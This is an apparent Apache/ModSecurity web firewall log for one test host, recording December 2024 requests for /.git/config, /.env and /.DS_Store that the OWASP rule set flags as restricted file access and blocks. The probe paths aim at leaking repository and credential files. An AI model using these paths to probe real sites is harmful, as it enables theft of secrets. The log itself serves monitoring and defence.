[Tue Dec 03 03:51:55.280206 2024] [:error] [pid 3718389] [client 179.43.188.122:49712] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /cache/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cache/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGwAAAAA"]
[Tue Dec 03 03:51:55.280617 2024] [:error] [pid 3718389] [client 179.43.188.122:49712] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cache/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGwAAAAA"]
[Tue Dec 03 03:51:55.280918 2024] [:error] [pid 3718389] [client 179.43.188.122:49712] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cache/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGwAAAAA"]
[Tue Dec 03 03:51:55.311005 2024] [:error] [pid 3718393] [client 179.43.188.122:49728] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dist/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbHAAAAAQ"]
[Tue Dec 03 03:51:55.311602 2024] [:error] [pid 3718393] [client 179.43.188.122:49728] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dist/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbHAAAAAQ"]
[Tue Dec 03 03:51:55.311987 2024] [:error] [pid 3718393] [client 179.43.188.122:49728] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dist/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbHAAAAAQ"]
[Tue Dec 03 03:51:55.313306 2024] [:error] [pid 3718403] [client 179.43.188.122:49732] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /env/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBaAAAAAU"]
[Tue Dec 03 03:51:55.313874 2024] [:error] [pid 3718403] [client 179.43.188.122:49732] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBaAAAAAU"]
[Tue Dec 03 03:51:55.314561 2024] [:error] [pid 3718403] [client 179.43.188.122:49732] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBaAAAAAU"]
[Fri Dec 06 07:14:46.175511 2024] [:error] [pid 3783006] [client 45.148.10.172:55460] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z1KWVp2f1qclFXZjjgykYAAAAAU"]
[Fri Dec 06 07:14:46.178886 2024] [:error] [pid 3783006] [client 45.148.10.172:55460] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z1KWVp2f1qclFXZjjgykYAAAAAU"]
[Fri Dec 06 07:14:46.179327 2024] [:error] [pid 3783006] [client 45.148.10.172:55460] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z1KWVp2f1qclFXZjjgykYAAAAAU"]
[Tue Dec 10 11:57:26.120904 2024] [:error] [pid 3868445] [client 18.156.35.7:59506] [client 18.156.35.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1gelpA3Jw8WETqGYcLeawAAAAM"]
[Tue Dec 10 11:57:26.122491 2024] [:error] [pid 3868445] [client 18.156.35.7:59506] [client 18.156.35.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1gelpA3Jw8WETqGYcLeawAAAAM"]
[Tue Dec 10 11:57:26.122845 2024] [:error] [pid 3868445] [client 18.156.35.7:59506] [client 18.156.35.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1gelpA3Jw8WETqGYcLeawAAAAM"]
[Wed Dec 11 01:47:56.092696 2024] [:error] [pid 3886382] [client 103.102.230.8:41448] [client 103.102.230.8] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1jhPP20Wy3mhiFMH9FRSwAAAAA"]
[Wed Dec 11 01:47:56.094186 2024] [:error] [pid 3886382] [client 103.102.230.8:41448] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1jhPP20Wy3mhiFMH9FRSwAAAAA"]
[Wed Dec 11 01:47:56.094777 2024] [:error] [pid 3886382] [client 103.102.230.8:41448] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1jhPP20Wy3mhiFMH9FRSwAAAAA"]
[Wed Dec 11 02:07:42.821704 2024] [:error] [pid 3886385] [client 103.102.230.8:32996] [client 103.102.230.8] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1jl3s_K5tN6Qxq7Kpw6_AAAAAM"]
[Wed Dec 11 02:07:42.822893 2024] [:error] [pid 3886385] [client 103.102.230.8:32996] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1jl3s_K5tN6Qxq7Kpw6_AAAAAM"]
[Wed Dec 11 02:07:42.823473 2024] [:error] [pid 3886385] [client 103.102.230.8:32996] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1jl3s_K5tN6Qxq7Kpw6_AAAAAM"]
[Wed Dec 11 14:29:18.639895 2024] [:error] [pid 3890144] [client 109.70.100.4:18404] [client 109.70.100.4] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z1mTrsKhpIvv0Bmtzent4QAAAAQ"]
[Wed Dec 11 14:29:18.641986 2024] [:error] [pid 3890144] [client 109.70.100.4:18404] [client 109.70.100.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z1mTrsKhpIvv0Bmtzent4QAAAAQ"]
[Wed Dec 11 14:29:18.642477 2024] [:error] [pid 3890144] [client 109.70.100.4:18404] [client 109.70.100.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z1mTrsKhpIvv0Bmtzent4QAAAAQ"]
[Wed Dec 11 14:29:19.266631 2024] [:error] [pid 3890141] [client 107.189.1.160:18710] [client 107.189.1.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z1mTr7QVJnhbSrT4f8MqdAAAAAE"]
[Wed Dec 11 14:29:19.266876 2024] [:error] [pid 3890141] [client 107.189.1.160:18710] [client 107.189.1.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z1mTr7QVJnhbSrT4f8MqdAAAAAE"]
[Wed Dec 11 14:29:19.267048 2024] [:error] [pid 3890141] [client 107.189.1.160:18710] [client 107.189.1.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z1mTr7QVJnhbSrT4f8MqdAAAAAE"]
[Wed Dec 11 14:29:26.192744 2024] [:error] [pid 3890140] [client 195.47.238.86:35602] [client 195.47.238.86] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1mTtn6Ve6JejtP5AvPIOAAAAAA"]
[Wed Dec 11 14:29:26.193060 2024] [:error] [pid 3890140] [client 195.47.238.86:35602] [client 195.47.238.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1mTtn6Ve6JejtP5AvPIOAAAAAA"]
[Wed Dec 11 14:29:26.193318 2024] [:error] [pid 3890140] [client 195.47.238.86:35602] [client 195.47.238.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1mTtn6Ve6JejtP5AvPIOAAAAAA"]
[Wed Dec 11 14:29:27.371903 2024] [:error] [pid 3891473] [client 185.220.101.15:39406] [client 185.220.101.15] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1mTt7vIFJ7_yln-jno9RQAAAAY"], referer: http://forst-trento.test.indacotrentino.com/.git/config
[Wed Dec 11 14:29:27.372536 2024] [:error] [pid 3891473] [client 185.220.101.15:39406] [client 185.220.101.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1mTt7vIFJ7_yln-jno9RQAAAAY"], referer: http://forst-trento.test.indacotrentino.com/.git/config
[Wed Dec 11 14:29:27.372985 2024] [:error] [pid 3891473] [client 185.220.101.15:39406] [client 185.220.101.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1mTt7vIFJ7_yln-jno9RQAAAAY"], referer: http://forst-trento.test.indacotrentino.com/.git/config
[Sat Dec 14 12:43:15.266151 2024] [:error] [pid 3976859] [client 159.89.193.61:55047] [client 159.89.193.61] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z11vUx6khmK3LLy3qryLYwAAAAA"]
[Sat Dec 14 12:43:15.268993 2024] [:error] [pid 3976859] [client 159.89.193.61:55047] [client 159.89.193.61] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z11vUx6khmK3LLy3qryLYwAAAAA"]
[Sat Dec 14 12:43:15.269497 2024] [:error] [pid 3976859] [client 159.89.193.61:55047] [client 159.89.193.61] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z11vUx6khmK3LLy3qryLYwAAAAA"]
[Sat Dec 14 16:49:01.748878 2024] [:error] [pid 3976861] [client 3.133.93.105:33366] [client 3.133.93.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z12o7dXot-oY2JdMz3OXmAAAAAI"]
[Sat Dec 14 16:49:01.749738 2024] [:error] [pid 3976861] [client 3.133.93.105:33366] [client 3.133.93.105] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z12o7dXot-oY2JdMz3OXmAAAAAI"]
[Sat Dec 14 16:49:01.750178 2024] [:error] [pid 3976861] [client 3.133.93.105:33366] [client 3.133.93.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z12o7dXot-oY2JdMz3OXmAAAAAI"]
[Sat Dec 14 17:44:38.589052 2024] [:error] [pid 3976860] [client 45.148.10.172:55118] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z1219uC4rgJ0KX3ar-DH2AAAAAE"]
